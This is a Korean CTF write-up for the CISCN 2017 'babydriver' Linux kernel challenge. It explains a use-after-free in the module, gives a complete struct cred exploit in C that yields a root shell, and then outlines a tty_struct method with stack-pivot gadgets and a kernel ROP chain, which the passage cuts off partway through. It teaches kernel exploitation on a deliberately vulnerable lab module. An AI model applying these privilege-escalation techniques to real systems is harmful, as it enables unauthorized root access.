CISCN 2017 babydriver Write-Up (linux kernel UAF)
2019-10-18 / V4bel

목차

  • 서론
  • 환경 설정
    • qemu 설치
    • 문제 파일 압축 해제
    • boot.sh 수정
    • extract-vmlinux
    • 커널 디버깅
    • 가젯 구하기
  • 문제 분석
    • 함수 분석
    • 취약점 체이닝
  • struct cred exploit
  • struct tty_struct exploit
  • Reference

서론

문제 파일 : babydriver.zip

CICSN 2017 CTF의 babydriver 문제를 풀어보도록 하겠습니다.

해당 문제는 linux kernel 문제이며 User-After-Free 취약점이 발생하는 모듈이 등록되어 있습니다.

크게 두 가지 정도의 방법으로 exploit 할 수 있으며 이번 글에서 두 방법 모두 작성해보겠습니다.

kernel exploit을 처음 시작하는 분도 쉽게 이해할 수 있도록 최대한 세부적으로 작성했습니다.


환경 설정

qemu 설치

커널 디버깅을 하는 방법은 매우 다양합니다. VMware <-> gdb 나 VMware <-> IDA 등등 여러가지 방법이 있지만, 여기서는 qemu와 gdb를 사용하여 디버깅을 해보겠습니다.

1
sudo apt-get install qemu

문제를 푸는데 사용할 가상 머신인 qemu는 위의 명령어로 설치할 수 있습니다.

문제 파일 압축 해제

1
2
$ ls
boot.sh bzImage rootfs.cpio

문제 파일의 압축을 풀면 위와 같은 파일들이 있습니다.

  1. boot.sh : qemu의 실행 옵션이 들어있는 쉘 스크립트
  2. bzImage : 빌드된 커널 이미지 파일
  3. rootfs.cpio : 파일 시스템
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ mkdir baby
$ cp rootfs.cpio baby
$ cd baby
$ ls
rootfs.cpio
$ mv rootfs.cpio rootfs.gz
$ gzip -d rootfs.gz
$ cpio -id -v < rootfs
.
etc
etc/init.d
etc/passwd
etc/group
bin
bin/su
bin/grep
bin/watch
bin/stat
bin/df
bin/ed
bin/mktemp
bin/mpstat
......
home
home/ctf
5556 blocks
$ ls
bin etc home init lib linuxrc proc rootfs sbin sys tmp usr

위 처럼 rootfs.cpio의 압축을 풀어주면 파일 시스템들을 구할 수 있습니다.

1
/lib/modules/4.4.72/

exploit을 진행할 취약점이 있는 모듈인 babydriver.ko 파일은 위의 경로에 있습니다.

boot.sh 수정

1
2
3
4
$ cat boot.sh
#!/bin/bash

qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1'-enable-kvm -monitor /dev/null -m 64M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep

다시 돌아와서 boot.sh 파일을 보면 위와 같은데, 중요한 옵션의 뜻은 다음과 같습니다.

  1. -enable-kvm : qemu-kvm 사용
  2. -m 64M : 메모리 64M 할당
  3. +smep : SMEP 보호기법 적용

vmware

qemu-kvm을 사용하므로 VMware의 옵션에 들어가서 Intel Vt-x/EPT 기능을 켜주셔야 합니다. macOS의 VMware Fusion 기준으로 “vmware 설정 -> Processors & Memory -> 고급 옵션”에 해당 설정이 있습니다.

boot.sh 스크립트를 실행했을 때 kernel panic이 뜰 경우, 해당 스크립트의 메모리 할당을 -m 256M 옵션으로 고쳐 램을 추가 할당해주시면 됩니다.

gdb로 해당 커널을 디버깅 하기 위해 boot.sh 스크립트에 -s 옵션을 붙여서 1234 포트를 열어주셔야 합니다.

1
2
3
#!/bin/bash

qemu-system-x86_64 -s -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1'-enable-kvm -monitor /dev/null -m 256M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep

최종적으로 위처럼 수정하시면 됩니다.

extract-vmlinux

디버깅을 용이하게 해주는 vmlinux 파일을 구할 차례입니다. 커널 컴파일 과정 중 vmlinux 파일에서 Instruction set을 뽑아낸 것이 바로 bzImage 커널 이미지입니다.
extract-vmlinux 스크립트를 이용하면 역으로 bzImagevmlinux 파일로 변환할 수 있습니다.

일반적으로 vmlinux 파일에는 심볼과 유용한 가젯들이 살아있어서 이를 이용하면 커널 디버깅을 좀 더 수월하게 할 수 있습니다.

1
2
apt-get install linux-headers-$(uname -r)
/usr/src/linux-headers-$(uname -r)/scripts/extract-vmlinux bzImage > vmlinux

위의 명령어를 통해 bzImagevmlinux 파일로 변환할 수 있습니다.

1
2
$ file vmlinux
vmlinux: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=e993ea9809ee28d059537a0d5e866794f27e33b4, stripped

생성된 vmlinux 파일을 살펴보면 알 수 있다시피 ELF type인 것을 볼 수 있습니다.
사실, 이렇게 생성된 vmlinux는 정상적인 커널 빌드 과정에서 생성되는 vmlinux와 다르게 심볼이 없는 stripped 상태입니다.

심볼들은 /boot/System.map-* 파일을 통해 mapping 할 수 있으나 babydriver 문제에서는 user 권한으로 /proc/kallsyms 파일에서 심볼을 뽑아낼 수 있으므로 넘어가겠습니다.

(만약 user 권한으로 proc/kallsyms를 읽어 올 수 없는 문제의 경우, 파일 시스템 안의 init 파일을 수정해서 root 권한으로 심볼을 뽑아내도 됩니다.)

커널 디버깅

지금까지 구성한 환경을 이용해 커널 디버깅을 해보겠습니다.

boot.sh 수정 과정에서 boot.sh 파일에 -s 옵션을 추가했는데, 이는 설명했듯이 디버깅을 위한 1234 포트를 연다는 뜻입니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Boot took 0.96 seconds

/ $ cd /sys/module/babydriver/sections
/sys/module/babydriver/sections $ ls -al
total 0
drwxr-xr-x 2 root root 0 Oct 21 07:54 .
drwxr-xr-x 5 root root 0 Oct 21 07:54 ..
-r--r--r-- 1 root root 4096 Oct 21 07:54 .bss
-r--r--r-- 1 root root 4096 Oct 21 07:54 .data
-r--r--r-- 1 root root 4096 Oct 21 07:54 .exit.text
-r--r--r-- 1 root root 4096 Oct 21 07:54 .gnu.linkonce.this_module
-r--r--r-- 1 root root 4096 Oct 21 07:54 .init.text
-r--r--r-- 1 root root 4096 Oct 21 07:54 .note.gnu.build-id
-r--r--r-- 1 root root 4096 Oct 21 07:54 .rodata.str1.1
-r--r--r-- 1 root root 4096 Oct 21 07:54 .strtab
-r--r--r-- 1 root root 4096 Oct 21 07:54 .symtab
-r--r--r-- 1 root root 4096 Oct 21 07:54 .text
-r--r--r-- 1 root root 4096 Oct 21 07:54 __mcount_loc
/sys/module/babydriver/sections $ cat .text
0xffffffffc0000000

qemu를 실행시킨 뒤 /sys/module/babydriver/sections 경로로 들어가 보면 babydriver 모듈의 각 영역별 베이스 주소가 저장된 파일들이 있습니다.
이 중 디버깅에 필요한 영역은 모듈 함수들이 있는 .text 영역이므로 해당 파일을 읽어 베이스 주소를 구해줍니다.

(만약 user 권한으로 .text를 읽어 올 수 없는 문제의 경우, 파일 시스템 안의 init 파일을 수정해서 root 권한으로 주소를 뽑아내도 됩니다.)

1
2
3
$ gdb -q vmlinux
pwndbg> add-symbol-file baby/lib/modules/4.4.72/babydriver.ko 0xffffffffc0000000
pwndbg> target remote :1234

터미널을 새로 하나 열어서 extract-vmlinux 스크립트를 통해 구한 vmlinux 파일을 인자로 gdb를 실행시켜 줍니다.
그 뒤 gdb의 add-symbol-file <module_path> <base_address> 명령을 통해 위에서 구한 babydriver 모듈의 .text 베이스 주소를 심볼로 로딩시켜 줍니다.

마지막으로 target remote :1234 명령을 통해 문제가 돌아가고 있는 qemu로 접속해줍니다.
인제 qemu는 멈추게 되고 gdb는 성공적으로 커널 디버깅 준비를 마친 상태가 됩니다.

1
2
3
pwndbg> b babyrelease
pwndbg> b *0xffffffff810d238d
pwndbg> c

원하는 위치에 break point를 걸 차례입니다.
module의 베이스 주소를 심볼 로딩했기 때문에 b babyrelease 와 같이 모듈 함수에도 bp를 걸 수 있고 b *0xffffffff810d238d 와 같이 kernel의 특정 가젯에도 bp를 걸 수 있습니다.

continue 명령을 내려주면 멈췄던 qemu가 다시 실행됩니다. rootfs.cpio를 통해 qemu에 집어넣은 exploit 파일을 실행시키면 bp에 걸리게 되며 이제 행-복 디버깅하면 됩니다.

가젯 구하기

마지막으로는 rop payload에 사용할 가젯을 구해보겠습니다.

유저 공간에서 rop gadget을 뽑아내듯 objdump, rp++, ropper 등을 사용하면 됩니다.

1
2
$ objdump -M intel -d vmlinux | grep "iretq"
ffffffff8181a797: 48 cf iretq

위에서 extract-vmlinux 스크립트로 구한 vmlinux 파일에는 심볼은 없지만 유용한 rop gadget들은 뽑아낼 수 있다고 설명했었습니다.

위처럼 objdump 등을 이용해서 vmlinux에서 원하는 가젯을 뽑아내면 됩니다.
또한 해당 문제에는 kaslr이 걸려있지 않으므로 구한 주소를 그대로 exploit에 사용하면 됩니다.


문제 분석

함수 분석

취약점이 있는 디바이스 모듈인 babydriver.ko 파일을 디컴파일하면 다음과 같습니다.

babyopen()
1
2
3
4
5
6
7
8
int __fastcall babyopen(inode *inode, file *filp)
{
_fentry__(inode, filp);
babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 37748928LL, 64LL);
babydev_struct.device_buf_len = 64LL;
printk("device open\n");
return 0;
}

babyopen() 함수는 해당 디바이스가 open() 되었을 때 실행되는 함수입니다.
구조체 babydev_struct의 첫 번째 멤버인 device_buf에 64byte 만큼의 heap 영역을 할당한 뒤 그 주소를 저장합니다.
두 번째 멤버인 device_buf_len에는 할당된 heap 영역의 크기인 64를 저장합니다.

1
2
3
4
5
6
7
00000000 babydevice_t    struc ; (sizeof=0x10, align=0x8, copyof_429)
00000000 ; XREF: .bss:babydev_struct/r
00000000 device_buf dq ? ; XREF: babyrelease+6/r
00000000 ; babyopen+26/w ... ; offset
00000008 device_buf_len dq ? ; XREF: babyopen+2D/w
00000008 ; babyioctl+3C/w ...
00000010 babydevice_t ends

babydev_struct는 위와 같은 구조를 가지고 있으며, 전역 변수 로 선언되어 있습니다.

babyioctl()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
size_t v3; // rdx
size_t v4; // rbx
__int64 result; // rax

_fentry__(filp, *(_QWORD *)&command);
v4 = v3;
if ( command == 65537 )
{
kfree(babydev_struct.device_buf);
babydev_struct.device_buf = (char *)_kmalloc(v4, 37748928LL);
babydev_struct.device_buf_len = v4;
printk("alloc done\n");
result = 0LL;
}
else
{
printk(&unk_2EB);
result = -22LL;
}
return result;
}

만약 전달 받은 두 번째 인자가 65537일 경우 기존에 device_buf 멤버에 저장된 heap 영역 주소를 해제합니다. 그리고 device_bufdevice_buf_lenarg 기준으로 새로 할당, 저장합니다.

babyrelease()
1
2
3
4
5
6
7
int __fastcall babyrelease(inode *inode, file *filp)
{
_fentry__(inode, filp);
kfree(babydev_struct.device_buf);
printk("device release\n");
return 0;
}

babyrelease()는 해당 디바이스를 close()할 경우 호출되는 함수입니다.
device_buf 멤버에 저장된 주소를 해제합니다.

babyioctl()함수와 다르게 babydev_sturct 구조체의 멤버들을 새로 저장하지 않습니다.
즉, heap 할당을 관리하는 구조체가 해제된 포인터를 가르키게 됩니다. (dangling pointer)

babywrite()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx

_fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_from_user();
result = v6;
}
return result;
}

전달받은 세 번째 인자가 device_buf_len보다 작을 경우 copy_from_user() 함수를 이용해 두 번째 인자로 전달받은 유저 공간의 데이터를 커널 영역에 전달합니다.

babyread()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx

_fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_to_user(buffer);
result = v6;
}
return result;
}

전달받은 세 번째 인자가 device_buf_len보다 작을 경우 copy_to_user() 함수를 이용해 커널 영역의 데이터를 두 번째 인자로 전달받은 유저 공간에 받아옵니다.

babydriver_init()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int __cdecl babydriver_init()
{
int v0; // edx
int v1; // ebx
class *v2; // rax
__int64 v3; // rax

if ( (signed int)alloc_chrdev_region(&babydev_no, 0LL, 1LL, "babydev") >= 0 )
{
cdev_init(&cdev_0, &fops);
cdev_0.owner = &_this_module;
v1 = cdev_add(&cdev_0, babydev_no, 1LL);
if ( v1 >= 0 )
{
v2 = (class *)_class_create(&_this_module, "babydev", &babydev_no);
babydev_class = v2;
if ( v2 )
{
v3 = device_create(v2, 0LL, babydev_no, 0LL, "babydev");
v0 = 0;
if ( v3 )
return v0;
printk(&unk_351);
class_destroy(babydev_class);
}
else
{
printk(&unk_33B);
}
cdev_del(&cdev_0);
}
else
{
printk(&unk_327);
}
unregister_chrdev_region(babydev_no, 1LL);
return v1;
}
printk(&unk_309);
return 1;
}

해당 모듈이 커널에 추가될 경우 실행되는 함수입니다.

babydriver_exit()
1
2
3
4
5
6
7
void __cdecl babydriver_exit()
{
device_destroy(babydev_class, babydev_no);
class_destroy(babydev_class);
cdev_del(&cdev_0);
unregister_chrdev_region(babydev_no, 1LL);
}

해당 모듈이 커널에서 제거될 경우 실행되는 함수입니다.

취약점 체이닝

모듈의 크기가 작은만큼 취약점은 간단합니다.

babyioctl() 함수로 원하는 크기의 heap 영역을 할당할 수 있고 디바이스를 close() 하면 실행되는 babyrelease() 함수를 이용해 dangling pointer를 연출할 수 있습니다.
또한 heap 할당을 관리하는 구조체가 전역 변수로 선언되어 있기 때문에, 서로 다른 file descriptor에서 같은 구조체를 참조합니다.

즉 uaf 취약점이 터지며 이를 이용해 중요한 데이터가 담긴 heap 영역을 공격자 임의대로 수정할 수 있습니다.

이를 이용해 struct cred , struct tty_sturct를 이용한 두 가지 방법으로 풀 수 있습니다.


struct cred exploit

struct cred를 이용한 exploit 과정을 간단히 설명하자면 다음과 같습니다.

  1. 디바이스를 두 번 open()합니다. (baby1, baby2)
  2. baby1 file descriptor에서 babyioctl() 함수를 이용해 struct cred의 크기인 168byte 만큼의 heap을 할당합니다.
  3. baby1close()하여 babyrelease() 함수를 호출해 할당된 heap을 해제합니다. 여기서 heap 영역을 해제한 뒤 해당 주소를 저장한 구조체 멤버를 초기화하지 않아 dangling pointer가 발생합니다.
  4. 유저 공간에서 fork() 함수를 호출합니다.
  5. baby2에서 babywrite() 함수를 이용해 해제된 heap 영역에 할당된 struct creduidgid멤버를 0으로 덮어씁니다. (root 권한 획득)
  6. 자식 프로세스에서 system("/bin/sh");를 실행합니다.

유저 공간에서 fork() 함수를 호출할 경우 struct cred를 커널 메모리 공간에 할당하는 작업을 진행합니다.

지금부터 문제 커널 버전인 linux kernel v4.4.72의 소스 코드를 보며 exploit 원리를 설명하겠습니다.

fork()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
long _do_fork(unsigned long clone_flags,
unsigned long stack_start,
unsigned long stack_size,
int __user *parent_tidptr,
int __user *child_tidptr,
unsigned long tls)
{
struct task_struct *p;
int trace = 0;
long nr;

/*
* Determine whether and which event to report to ptracer. When
* called from kernel_thread or CLONE_UNTRACED is explicitly
* requested, no event is reported; otherwise, report if the event
* for the type of forking is enabled.
*/
if (!(clone_flags & CLONE_UNTRACED)) {
if (clone_flags & CLONE_VFORK)
trace = PTRACE_EVENT_VFORK;
else if ((clone_flags & CSIGNAL) != SIGCHLD)
trace = PTRACE_EVENT_CLONE;
else
trace = PTRACE_EVENT_FORK;

if (likely(!ptrace_event_enabled(current, trace)))
trace = 0;
}

p = copy_process(clone_flags, stack_start, stack_size, // here
child_tidptr, NULL, trace, tls, NUMA_NO_NODE);

위 코드는 fork.c 소스 코드의 main routine 부분입니다. 해당 코드를 보면 copy_process() 함수를 호출하는 것을 확인할 수 있습니다.

copy_process()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#ifdef CONFIG_PROVE_LOCKING
DEBUG_LOCKS_WARN_ON(!p->hardirqs_enabled);
DEBUG_LOCKS_WARN_ON(!p->softirqs_enabled);
#endif
retval = -EAGAIN;
if (atomic_read(&p->real_cred->user->processes) >=
task_rlimit(p, RLIMIT_NPROC)) {
if (p->real_cred->user != INIT_USER &&
!capable(CAP_SYS_RESOURCE) && !capable(CAP_SYS_ADMIN))
goto bad_fork_free;
}
current->flags &= ~PF_NPROC_EXCEEDED;

retval = copy_creds(p, clone_flags); // here
if (retval < 0)
goto bad_fork_free;

위 코드 또한 fork.c 소스 코드의 copy_process() 함수 부분입니다. 해당 코드를 보면 copy_creds() 함수를 호출해 반환값을 retval 변수에 저장하는 것을 확인할 수 있습니다.

copy_creds()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int copy_creds(struct task_struct *p, unsigned long clone_flags)
{
struct cred *new;
int ret;

if (
#ifdef CONFIG_KEYS
!p->cred->thread_keyring &&
#endif
clone_flags & CLONE_THREAD
) {
p->real_cred = get_cred(p->cred);
get_cred(p->cred);
alter_cred_subscribers(p->cred, 2);
kdebug("share_creds(%p{%d,%d})",
p->cred, atomic_read(&p->cred->usage),
read_cred_subscribers(p->cred));
atomic_inc(&p->cred->user->processes);
return 0;
}

new = prepare_creds(); // here
if (!new)
return -ENOMEM;

if (clone_flags & CLONE_NEWUSER) {
ret = create_user_ns(new);
if (ret < 0)
goto error_put;
}

위 코드는 cred.c 소스 코드 내의 copy_creds 함수 도입 부분입니다. 해당 코드를 보면 prepare_creds() 함수를 호출하는 것을 볼 수 있습니다.

prepare_creds()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/**
* prepare_creds - Prepare a new set of credentials for modification
*
* Prepare a new set of task credentials for modification. A task's creds
* shouldn't generally be modified directly, therefore this function is used to
* prepare a new copy, which the caller then modifies and then commits by
* calling commit_creds().
*
* Preparation involves making a copy of the objective creds for modification.
*
* Returns a pointer to the new creds-to-be if successful, NULL otherwise.
*
* Call commit_creds() or abort_creds() to clean up.
*/
struct cred *prepare_creds(void)
{
struct task_struct *task = current;
const struct cred *old;
struct cred *new;

validate_process_creds();

new = kmem_cache_alloc(cred_jar, GFP_KERNEL); // here
if (!new)
return NULL;

위 코드 또한 cred.c 내의 prepare_creds 함수 도입 부분입니다. 해당 코드를 보면 kmem_cache_alloc() 함수를 호출해서 반환값을 변수 new에 저장하는 것을 확인할 수 있습니다.

바로 이 코드가 heap 영역에 sizeof(struct cred)만큼의 크기를 할당해서 해당 영역에 자식 프로세스의 권한 증명이 담긴 struct cred를 저장하는 코드입니다.

struct cred
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};

strcut cred는 위와 같이 구성되어 있으며 이 중 kuid_t uidkgid_t gid 멤버의 값을 0으로 만들어 주면, 해당 프로세스는 root의 권한을 가지게 됩니다.

즉 유저 공간에서 fork() 함수를 호출하면 babyrelease()함수로 해제된 168byte 만큼의 heap 영역에 struct cred가 들어오게 되고, 해당 영역에 대한 dangling pointer를 가지고 있는 babydev_struct.device_buf를 이용해 struct cred를 0으로 덮어주면 root 권한을 획득하게 되는 것입니다.

exploit code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/ioctl.h>

int main()
{
int baby1 = open("/dev/babydev", O_RDWR);
int baby2 = open("/dev/babydev", O_RDWR);

ioctl(baby1, 65537, 168);
close(baby1);

int pid = fork();

if(pid < 0)
{
printf("ERROR");
exit(-1);
}

else if(pid == 0) {
char fake_cred[30] = {0};

write(baby2, fake_cred, 28);

sleep(1);

if(getuid() == 0) {
system("/bin/sh");
exit(0);
}
}
else {
wait(0);
}

close(baby2);

return 0;
}

exploit을 다 작성했으면 -static 옵션으로 정적 컴파일해서, 환경 설정 과정에서 rootfs.cpio 파일 시스템의 압축을 풀었던 디렉토리에 옮긴 뒤에

1
find . | cpio -o --format=newc > rootfs.cpio

위 명령어로 압축하면 새로운 roofts.cpio 파일이 나오는데 이 rootfs.cpio 파일을 이용해서 qemu를 실행하시면 해당 exploit 파일이 qemu 내부로 들어간 것을 확인할 수 있습니다.

1
2
3
4
5
6
7
8
9
10
11
12
Boot took 0.98 seconds

/ $ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
/ $ ./exp
[ 7.694453] device open
[ 7.696076] device open
[ 7.697377] alloc done
[ 7.699022] device release
/ # id
uid=0(root) gid=0(root) groups=1000(ctf)
/ #


struct tty_struct exploit

strcut tty_struct를 이용한 exploit 과정을 간단히 설명하자면 다음과 같습니다.

  1. trap frame을 구성하기 위해 유저 공간의 레지스터들을 저장합니다.
  2. rop palyoad와 가짜 tty_operations을 구성합니다.
  3. 디바이스 를 두 번 open()합니다. (baby1, baby2)
  4. baby1 file descriptor에서 babyioctl() 함수를 이용해 struct tty_struct의 크기인 736byte 만큼의 heap을 할당합니다.
  5. baby1close()하여 babyrelease() 함수를 호출해 할당된 heap을 해제합니다. 여기서 heap 영역을 해제한 뒤 해당 주소를 저장한 구조체 멤버를 초기화하지 않아 dangling pointer가 발생합니다.
  6. ptmx 디바이스를 open()합니다.
  7. baby2를 이용하여 ptmx 디바이스의 tty_struct 를 유저 공간으로 받아와 const struct tty_operations *ops; 멤버를 우리가 생성한 가짜 tty_operations으로 덮습니다.
  8. 이렇게 만든 가짜 tty_structdangling pointer를 이용하여 ptmxstruct tty_struct가 있는 heap 영역에 덮어씁니다.
  9. ptmx 디바이스를 write() 함수로 호출하면 fake tty_struct -> fake tty_operations -> rop payload 순으로 호출되면서 root 권한을 획득하게 됩니다.

문제 커널 버전인 linux kernel v4.4.72의 소스 코드를 보며 exploit 원리를 설명하겠습니다.

tty_operations
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct inode *inode, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);

tty_operations 구조체는 <linux/tty_drive.h> 헤더 파일에 선언되어 있습니다.
일종의 file_operations으로 ptmx 등의 디바이스에 대한 함수 포인터를 모아둔 구조체입니다.

예를 들어 ptmx 디바이스의 tty_operations에서 .write = test_wrtie 선언을 해두면, ptmx 디바이스에 대한 wrtie() 함수를 호출할 경우에 내부적으로 구현한 test_write() 함수가 호출되는 것입니다.

ptmx_open()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
static int ptmx_open(struct inode *inode, struct file *filp)
{
struct pts_fs_info *fsi;
struct tty_struct *tty;
struct inode *slave_inode;
int retval;
int index;

nonseekable_open(inode, filp);

/* We refuse fsnotify events on ptmx, since it's a shared resource */
filp->f_mode |= FMODE_NONOTIFY;

retval = tty_alloc_file(filp);
if (retval)
return retval;

fsi = devpts_get_ref(inode, filp);
retval = -ENODEV;
if (!fsi)
goto out_free_file;

/* find a device that is not in use. */
mutex_lock(&devpts_mutex);
index = devpts_new_index(fsi);
mutex_unlock(&devpts_mutex);

retval = index;
if (index < 0)
goto out_put_ref;


mutex_lock(&tty_mutex);
tty = tty_init_dev(ptm_driver, index); // here
/* The tty returned here is locked so we can safely
drop the mutex */
mutex_unlock(&tty_mutex);

위 코드는 pty.c에 정의된, ptmx 디바이스를 open()할 때 호출되는 ptmx_open() 함수의 도입 부분입니다.
소스를 살펴보면 tty_init_dev() 함수를 호출하는 것을 확인할 수 있습니다.

tty_init_dev()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
struct tty_struct *tty_init_dev(struct tty_driver *driver, int idx)
{
struct tty_struct *tty;
int retval;

/*
* First time open is complex, especially for PTY devices.
* This code guarantees that either everything succeeds and the
* TTY is ready for operation, or else the table slots are vacated
* and the allocated memory released. (Except that the termios
* and locked termios may be retained.)
*/

if (!try_module_get(driver->owner))
return ERR_PTR(-ENODEV);

tty = alloc_tty_struct(driver, idx);
if (!tty) {
retval = -ENOMEM;
goto err_module_put;
}

위 코드는 tty_io.c에 정의된 tty_init_dev() 함수의 도입 부분입니다.
코드를 보면 alloc_tty_struct() 함수를 호출하는 것을 볼 수 있습니다.

alloc_tty_struct()
1
2
3
4
5
6
7
struct tty_struct *alloc_tty_struct(struct tty_driver *driver, int idx)
{
struct tty_struct *tty;

tty = kzalloc(sizeof(*tty), GFP_KERNEL); // here
if (!tty)
return NULL;

위 코드 또한 tty_io.c에 정의된 alloc_tty_struct() 함수의 도입 부분입니다.
코드를 보면 kzalloc()함수를 호출하는 것을 볼 수 있습니다.

즉, ptmx 디바이스를 open하면 tty_structheap 영역에 할당한다 는 것을 알 수 있습니다.

struct tty_struct
1
2
3
4
5
6
7
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
int index;

위 코드는 <linux/tty.h> 헤더 파일에 선언된 tty_struct의 일부분입니다.
*ops; 멤버가 const struct tty_operations 형인 것을 알 수 있습니다.

ptmx 디바이스를 open 했을 때 tty_struct가 heap 영역에 할당되고 해당 부분은 uaf 취약점을 이용해 값을 덮어 쓸 수 있으므로 이 *ops 멤버를 가짜 tty_operations로 덮어쓴 뒤 ptmx의 특정 함수를 호출할 경우 우리가 원하는 주소가 실행됩니다.

fake tty_operations
1
2
3
4
tty_operations[0] = 0xffffffff8100ce6e;   // pop rax; ret;
tty_operations[1] = &rop;
tty_operations[2] = 0xffffffff8181bfc5; // mov rsp,rax; dec ebx; jmp ret
tty_operations[7] = 0xffffffff8181bfc5; // mov rsp,rax; dec ebx; jmp ret

위 코드는 exploit에서 사용할 가짜 tty_operations 입니다.
tty_operations를 가짜 tty_struct의 4번째 멤버에 덮어 씌운 뒤 ptmx 드라이버를 인자로 write()함수를 호출하게 되면 tty_operations[7]의 주소가 호출되고 총 두 번의 stack pivoting을 통해 rop가 실행됩니다.

해당 payload를 이해하기 쉽도록 어셈으로 표현하면

1
2
3
4
5
6
7
8
9
10
11
12
13
rax == &tty_operatins

mov rsp, rax // tty_operations[7], stack pivoting
dec dex
jmp &ret
ret
pop rax // tty_operations[0], rax == &rop
ret
mov rsp, rax // tty_operations[2], stack pivoting
dec ebx
jmp &ret
ret
&rop // tty_operations[1]

위와 같습니다. rax에 우리가 만든 가짜 tty_operations의 주소가 저장된 상태에서 두 번의 mov rsp, rax로 인해 두 번의 stack pivoting이 일어납니다.
첫 번째 pivoting은 tty_operations, 두 번째 pivoting은 rop를 향해 진행됩니다.

rop payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
rop[0] 	= 0xffffffff810d238d;   // pop rdi; ret;
rop[1] = 0;
rop[2] = prepare_kernel_cred;
rop[3] = 0xffffffff810676e5; // pop rdx; pop rcx; ret
rop[4] = commit_creds;
rop[5] = 0;
rop[6] = 0xffffffff8180c4a2; // mov rdi, rax; call rdx;
rop[7] = 0;
rop[8] = 0xffffffff81063694; // swapgs; pop rbp; ret;
rop[9] = 0;
rop[10] = 0xffffffff814e35ef; // iretq; ret;
